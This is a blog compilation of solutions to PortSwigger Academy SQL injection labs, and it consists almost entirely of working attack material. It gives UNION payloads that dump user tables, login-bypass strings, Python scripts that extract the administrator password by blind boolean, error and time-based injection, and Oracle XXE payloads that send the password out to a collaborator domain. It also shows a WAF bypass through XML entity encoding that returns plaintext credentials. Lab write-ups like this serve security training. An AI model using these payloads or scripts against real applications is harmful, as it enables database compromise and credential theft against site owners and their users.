SQLi - [PortSwigger]

Cover Image for SQLi - [PortSwigger]
Marmeus
Marmeus

Table of Contents

    Introduction

    Compillation of all apprentice and practitioner SQL injection labs from PortSwigger Academy.

    SQL injection vulnerability in WHERE clause allowing retrieval of hidden data [Apprentice]

    https://<LAB_ID>.web-security-academy.net/filter?category=patata%27%20or%20%271%27=%271%27--%20-

    SQL injection vulnerability allowing login bypass [Apprentice]

    # Login
    Username: <administrator'--> | <'or '1'='1'-- ->
    Password: potato
    

    SQL injection UNION attack, determining the number of columns returned by the query [Practitioner]

    # USing order
    /filter?category=Accessories' order by 3-- -
    # Using union
    filter?category=' UNION SELECT NULL, NULL, NULL -- -

    SQL injection UNION attack, finding a column containing text [Practitioner]

    /filter?category=' UNION SELECT NULL, '<RANDOM_VALUE>', NULL -- -

    SQL injection UNION attack, retrieving data from other tables [Practitioner]

    # Number of columns
    /filter?category=Accessories' order by 2 -- -
    # Retriving credentials
    /filter?category=' UNION SELECT username, password from users -- -

    SQL injection UNION attack, retrieving multiple values in a single column [Practitioner]

    /filter?category=' UNION SELECT NULL, username || '~' || password FROM users--

    SQL injection attack, querying the database type and version on Oracle [Practitioner]

    filter?category=' UNION SELECT NULL, banner FROM v$version -- -

    SQL injection attack, querying the database type and version on MySQL and Microsoft [Practitioner]

    /filter?category=' UNION SELECT NULL, @@version -- --

    SQL injection attack, listing the database contents on non-Oracle databases [Practitioner]

    # Obtain tables
    /filter?category=' UNION SELECT NULL,TABLE_NAME FROM information_schema.tables WHERE TABLE_NAME like '%user%' -- -
    # Obtain columns
    /filter?category=' UNION SELECT NULL, COLUMN_NAME FROM information_schema.columns WHERE table_name = 'users_bmfuyr' -- -
    # Obtain users
    /filter?category=' UNION SELECT username_cfwiqo, password_caxgks FROM users_bmfuyr -- -

    SQL injection attack, listing the database contents on Oracle [Practitioner]

    # Obtain tables
    /filter?category=' UNION SELECT NULL, TABLE_NAME FROM all_tables -- -
    # Obtain columns
    /filter?category=' UNION SELECT NULL, COLUMN_NAME FROM all_tab_columns WHERE table_name = 'USERS_ZELKVW' -- -
    # Obtain users
    /filter?category=' UNION SELECT USERNAME_TVHFRK,PASSWORD_LIIMGB FROM USERS_ZELKVW -- -

    Blind SQL injection with conditional responses [Practitioner]

    import requests
    import time
    
    URL = "<URL>"
    alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    Cookie_trackingId = requests.get(URL).cookies.get_dict()['TrackingId']
    num_chars = 0 
    for n in range(1,9999):
        cookie = {"TrackingId":"%s' AND (SELECT LENGTH(password) FROM users WHERE username = 'administrator') = '%d" % (Cookie_trackingId,n )}
        response = requests.get(URL, cookies=cookie).text
        if "Welcome back!" in response:
            num_chars = n 
            break
        time.sleep(0.01)
    
    print "num_chars: " + str(num_chars)
    
    counter = 1 
    res = ""
    while counter <= num_chars:
        for letter in alphanumeric:
            cookie = {"TrackingId":"%s' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), %d, 1) = '%s" % (Cookie_trackingId, counter, letter)}
            response = requests.get(URL, cookies=cookie).text
            if "Welcome back!" in response:
                res += letter
                counter += 1
                print "Res: "+res
            time.sleep(0.01)

    Blind SQL injection with conditional errors [Practitioner]

    import requests
    import time
    
    URL = "<URL>"
    alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    Cookie_trackingId = requests.get(URL).cookies.get_dict()['TrackingId']
    num_chars = 0 
    for n in range(1,9999):
        cookie = {"TrackingId":"%s'||(SELECT CASE WHEN LENGTH(password)=%d THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'" % (Cookie_trackingId, n)} 
        cookie = {"TrackingId":"potato' OR (SELECT CASE WHEN ((LENGTH((SELECT password FROM users WHERE username='administrator')))=%d) THEN to_char(1/0) ELSE '1' END FROM DUAL)='1'-- -" % (n)}
        status = requests.get(URL, cookies=cookie).status_code
        if status != 200:
            num_chars = n 
            break
        time.sleep(0.01)
    
    print "num_chars: " + str(num_chars)
    
    counter = 1 
    res = ""
    while counter <= num_chars:
        for letter in alphanumeric:
            cookie = {"TrackingId":"%s'||(SELECT CASE WHEN SUBSTR(password,%d,1)='%s' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'" % (Cookie_trackingId, counter, letter)}
            cookie = {"TrackingId":"potato' OR (SELECT CASE WHEN ((SUBSTR((SELECT password FROM users WHERE username='administrator'),%d,1))='%s') THEN to_char(1/0) ELSE '1' END FROM DUAL)='1'-- -" % ( counter, letter)}
            status = requests.get(URL, cookies=cookie).status_code
            if status != 200:
                res += letter
                counter += 1
                print "Res: "+res
            time.sleep(0.01)

    Blind SQL injection with time delays [Practitioner]

    '||pg_sleep(10)--

    Blind SQL injection with time delays and information retrieval [Practitioner]

    import requests
    from time import time
    
    # OFICIAL
    # =======
    # Obtain length
    # -------------
    # TrackingId=x'||(SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    # Obtain users
    # ------------
    # or'+AND+SUBSTRING(password,<CHARACTER_NUMBER>,1)='<LETTER>')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    URL = "<URL>"
    alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    Cookie_trackingId = requests.get(URL).cookies.get_dict()['TrackingId']
    num_chars = 0
    for n in range(1,9999):
        cookie = {"TrackingId":"%s'||(SELECT CASE WHEN LENGTH(password)=%d THEN pg_sleep(3) ELSE '' END FROM users WHERE username='administrator')--" % (Cookie_trackingId, n)}
        start = time.time()
        status = requests.get(URL, cookies=cookie).status_code
        end = time.time()
        if end-start > 3:
            num_chars = n
            break
        time.sleep(0.01)
    
    print "num_chars: " + str(num_chars)
    
    counter = 1
    res = ""
    while counter <= num_chars:
        for letter in alphanumeric:
            cookie = {"TrackingId":"%s'||(SELECT CASE WHEN SUBSTR(password,%d,1)='%s' THEN pg_sleep(3) ELSE '' END FROM users WHERE username='administrator')||'" % (Cookie_trackingId, counter, letter)}
            start = time.time()
            status = requests.get(URL, cookies=cookie).status_code
            end = time.time()
            if end-start > 3:
                res += letter
                counter += 1
                print "Res: "+res
            time.sleep(0.01)

    Blind SQL injection with out-of-band interaction [Practitioner]

    TrackingId=NotExists'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"<ENCODED_COLLABORATOR_DOMAIN>">+%25remote%3b]>'),'/l')+FROM+dual-- -;

    Blind SQL injection with out-of-band data exfiltration [Practitioner]

    TrackingId=NotExists'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+from+users+where+username%3d'administrator')||'.<ENCODED_COLLABORATOR_DOMAIN>/">+%25remote%3b]>'),'/l')+FROM+dual--+-;

    [SQL injection with filter bypass via XML encoding](SQL injection with filter bypass via XML encoding) [Practitioner]

    Reading the statement, it is known that the option check stock is vulnerable to SQL. However, trying to perform a simple SQLi attack, it is obtained the following result.

    Payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <stockCheck>
        <productId>'</productId>
        <storeId>2</storeId>
    </stockCheck>

    Response:

    HTTP/1.1 403 Forbidden
    Content-Type: application/json; charset=utf-8
    Connection: close
    Content-Length: 17
    
    
    "Attack detected"
    

    However, by encoding the character ' in XML format it is possible to obtain a result.

    # PAYLOAD
    <productId>&#39;3&#39; </productId>
    # RESPONSE
    158 units

    Because it seems to be a UNION SQLi, let's try to obtain the database.

    # QUERY
    '-3'UNION SELECT VERSION() -- -
    
    # ENCODED
    &#39;&#45;&#51;&#39;&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#86;&#69;&#82;&#83;&#73;&#79;&#78;&#40;&#41;&#32;&#45;&#45;&#32;&#45;&#10;
    
    # RESPONSE
    PostgreSQL 12.12 (Ubuntu 12.12-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit

    Because the structure of the database is known for previous exercises, it is possible to extract everything all at once.

    # QUERY 
    '-3'UNION SELECT username || ':' || password AS result_string from users -- -
    
    # ENCODED
    &#39;&#45;&#51;&#39;&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#117;&#115;&#101;&#114;&#110;&#97;&#109;&#101;&#32;&#124;&#124;&#32;&#39;&#58;&#39;&#32;&#124;&#124;&#32;&#112;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&#32;&#65;&#83;&#32;&#114;&#101;&#115;&#117;&#108;&#116;&#95;&#115;&#116;&#114;&#105;&#110;&#103;&#32;&#102;&#114;&#111;&#109;&#32;&#117;&#115;&#101;&#114;&#115;&#32;&#45;&#45;&#32;&#45;&#10;
    
    # RESPONSE
    administrator:cwl7hhx4akfby6lo1gmy
    wiener:7pfm0e2wtkbk38lobhke
    carlos:oejflrru74oukoxwop6j